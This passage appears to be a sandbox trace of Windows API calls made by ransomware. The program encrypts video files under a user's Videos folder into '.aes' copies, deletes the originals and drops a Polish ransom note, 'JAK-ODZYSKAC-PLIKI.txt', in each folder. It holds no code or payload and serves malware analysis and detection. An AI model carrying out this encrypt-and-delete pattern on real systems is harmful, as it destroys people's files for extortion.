nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4c [0095.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0095.387] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2d24cc0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xf2d24cc0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xf2d4ae20, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0095.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0095.387] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0095.451] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\uBDJLyCr8A-TTa.mp4", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\uBDJLyCr8A-TTa.mp4", lpFilePart=0x0) returned 0x44 [0095.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0095.451] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\uBDJLyCr8A-TTa.mp4" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\ubdjlycr8a-tta.mp4"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29b9f40, ftCreationTime.dwHighDateTime=0x1d30518, ftLastAccessTime.dwLowDateTime=0x3fb4cf0, ftLastAccessTime.dwHighDateTime=0x1d2fbbc, ftLastWriteTime.dwLowDateTime=0x3fb4cf0, ftLastWriteTime.dwHighDateTime=0x1d2fbbc, nFileSizeHigh=0x0, nFileSizeLow=0x92fd)) returned 1 [0095.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0095.451] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\uBDJLyCr8A-TTa.mp4", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\uBDJLyCr8A-TTa.mp4", lpFilePart=0x0) returned 0x44 [0095.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0095.452] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\uBDJLyCr8A-TTa.mp4" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\ubdjlycr8a-tta.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x544 [0095.452] GetFileType (hFile=0x544) returned 0x1 [0095.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0095.452] GetFileType (hFile=0x544) returned 0x1 [0095.452] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\uBDJLyCr8A-TTa.mp4.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\uBDJLyCr8A-TTa.mp4.aes", lpFilePart=0x0) returned 0x48 [0095.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0095.452] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\uBDJLyCr8A-TTa.mp4.aes" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\ubdjlycr8a-tta.mp4.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0095.452] GetFileType (hFile=0x8e4) returned 0x1 [0095.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0095.452] GetFileType (hFile=0x8e4) returned 0x1 [0095.453] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0095.520] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0095.520] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0095.528] LocalFree (hMem=0x6ff3178) returned 0x0 [0095.528] GetAdaptersAddresses () returned 0x6f [0095.533] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0095.533] GetAdaptersAddresses () returned 0x0 [0095.539] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0095.545] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0095.545] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0095.594] LocalFree (hMem=0x1c8ab8) returned 0x0 [0095.594] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0095.601] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0095.601] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0095.607] LocalFree (hMem=0x1c8ab8) returned 0x0 [0095.608] LocalFree (hMem=0x7042020) returned 0x0 [0095.608] GetBestInterfaceEx (in: pDestAddr=0x29bbf58*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0095.695] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\uBDJLyCr8A-TTa.mp4" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\ubdjlycr8a-tta.mp4")) returned 1 [0095.696] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4c [0095.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0095.696] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2d24cc0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xf2d24cc0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xf2d4ae20, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0095.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0095.696] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0095.768] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\7X-GM.flv", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\7X-GM.flv", lpFilePart=0x0) returned 0x3c [0095.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0095.768] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\7X-GM.flv" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\ijyi ku9gkwyypfgatz\\7x-gm.flv"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2fc0ad0, ftCreationTime.dwHighDateTime=0x1d2f7d6, ftLastAccessTime.dwLowDateTime=0xd77ed870, ftLastAccessTime.dwHighDateTime=0x1d303d8, ftLastWriteTime.dwLowDateTime=0xd77ed870, ftLastWriteTime.dwHighDateTime=0x1d303d8, nFileSizeHigh=0x0, nFileSizeLow=0xff31)) returned 1 [0095.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0095.768] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\7X-GM.flv", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\7X-GM.flv", lpFilePart=0x0) returned 0x3c [0095.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0095.768] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\7X-GM.flv" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\ijyi ku9gkwyypfgatz\\7x-gm.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0095.768] GetFileType (hFile=0x540) returned 0x1 [0095.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0095.768] GetFileType (hFile=0x540) returned 0x1 [0095.768] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\7X-GM.flv.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\7X-GM.flv.aes", lpFilePart=0x0) returned 0x40 [0095.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0095.768] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\7X-GM.flv.aes" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\ijyi ku9gkwyypfgatz\\7x-gm.flv.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x544 [0095.768] GetFileType (hFile=0x544) returned 0x1 [0095.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0095.768] GetFileType (hFile=0x544) returned 0x1 [0095.769] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0095.790] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0095.790] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0095.797] LocalFree (hMem=0x6ff3178) returned 0x0 [0095.797] GetAdaptersAddresses () returned 0x6f [0095.801] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0095.801] GetAdaptersAddresses () returned 0x0 [0095.806] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0095.812] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0095.812] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0095.833] LocalFree (hMem=0x1c8ab8) returned 0x0 [0095.833] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0095.840] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0095.840] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0095.846] LocalFree (hMem=0x1c8ab8) returned 0x0 [0095.846] LocalFree (hMem=0x7042020) returned 0x0 [0095.846] GetBestInterfaceEx (in: pDestAddr=0x28cdbc0*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0095.959] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\7X-GM.flv" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\ijyi ku9gkwyypfgatz\\7x-gm.flv")) returned 1 [0095.960] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4d [0095.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0095.960] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\ijyi ku9gkwyypfgatz\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0095.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0095.960] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x540) returned 0x0 [0095.960] RegQueryValueExW (in: hKey=0x540, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0095.961] RegQueryValueExW (in: hKey=0x540, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x28a518c, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0095.961] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4d [0095.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0095.961] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\ijyi ku9gkwyypfgatz\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x544 [0095.961] GetFileType (hFile=0x544) returned 0x1 [0095.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0095.961] GetFileType (hFile=0x544) returned 0x1 [0095.961] WriteFile (in: hFile=0x544, lpBuffer=0x28ae1a4*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x28ae1a4*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0095.962] CloseHandle (hObject=0x544) returned 1 [0095.962] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0096.010] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\l1V__tJSHnXI.avi", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\l1V__tJSHnXI.avi", lpFilePart=0x0) returned 0x43 [0096.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0096.010] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\l1V__tJSHnXI.avi" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\ijyi ku9gkwyypfgatz\\l1v__tjshnxi.avi"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0f912f0, ftCreationTime.dwHighDateTime=0x1d3011f, ftLastAccessTime.dwLowDateTime=0x88a92170, ftLastAccessTime.dwHighDateTime=0x1d2fbdf, ftLastWriteTime.dwLowDateTime=0x88a92170, ftLastWriteTime.dwHighDateTime=0x1d2fbdf, nFileSizeHigh=0x0, nFileSizeLow=0x7e6c)) returned 1 [0096.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0096.011] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\l1V__tJSHnXI.avi", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\l1V__tJSHnXI.avi", lpFilePart=0x0) returned 0x43 [0096.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0096.011] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\l1V__tJSHnXI.avi" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\ijyi ku9gkwyypfgatz\\l1v__tjshnxi.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x544 [0096.011] GetFileType (hFile=0x544) returned 0x1 [0096.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0096.011] GetFileType (hFile=0x544) returned 0x1 [0096.011] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\l1V__tJSHnXI.avi.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\l1V__tJSHnXI.avi.aes", lpFilePart=0x0) returned 0x47 [0096.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0096.011] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\l1V__tJSHnXI.avi.aes" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\ijyi ku9gkwyypfgatz\\l1v__tjshnxi.avi.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x350 [0096.011] GetFileType (hFile=0x350) returned 0x1 [0096.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0096.011] GetFileType (hFile=0x350) returned 0x1 [0096.012] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0096.020] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0096.020] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0096.028] LocalFree (hMem=0x6ff3178) returned 0x0 [0096.028] GetAdaptersAddresses () returned 0x6f [0096.033] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0096.033] GetAdaptersAddresses () returned 0x0 [0096.038] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0096.045] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0096.045] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0096.116] LocalFree (hMem=0x1c8ab8) returned 0x0 [0096.116] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0096.124] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0096.124] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0096.130] LocalFree (hMem=0x1c8ab8) returned 0x0 [0096.130] LocalFree (hMem=0x7042020) returned 0x0 [0096.130] GetBestInterfaceEx (in: pDestAddr=0x28b9f74*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0096.209] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\l1V__tJSHnXI.avi" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\ijyi ku9gkwyypfgatz\\l1v__tjshnxi.avi")) returned 1 [0096.210] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4d [0096.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0096.210] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\ijyi ku9gkwyypfgatz\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf365e200, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xf365e200, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xf365e200, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0096.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0096.210] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0096.278] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\ppcN9b5Q ExH-k00.avi", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\ppcN9b5Q ExH-k00.avi", lpFilePart=0x0) returned 0x47 [0096.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0096.278] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\ppcN9b5Q ExH-k00.avi" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\ijyi ku9gkwyypfgatz\\ppcn9b5q exh-k00.avi"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3c9b30, ftCreationTime.dwHighDateTime=0x1d303f2, ftLastAccessTime.dwLowDateTime=0x49161b0, ftLastAccessTime.dwHighDateTime=0x1d2f6f6, ftLastWriteTime.dwLowDateTime=0x49161b0, ftLastWriteTime.dwHighDateTime=0x1d2f6f6, nFileSizeHigh=0x0, nFileSizeLow=0x25a0)) returned 1 [0096.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0096.278] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\ppcN9b5Q ExH-k00.avi", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\ppcN9b5Q ExH-k00.avi", lpFilePart=0x0) returned 0x47 [0096.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0096.278] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\ppcN9b5Q ExH-k00.avi" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\ijyi ku9gkwyypfgatz\\ppcn9b5q exh-k00.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x350 [0096.278] GetFileType (hFile=0x350) returned 0x1 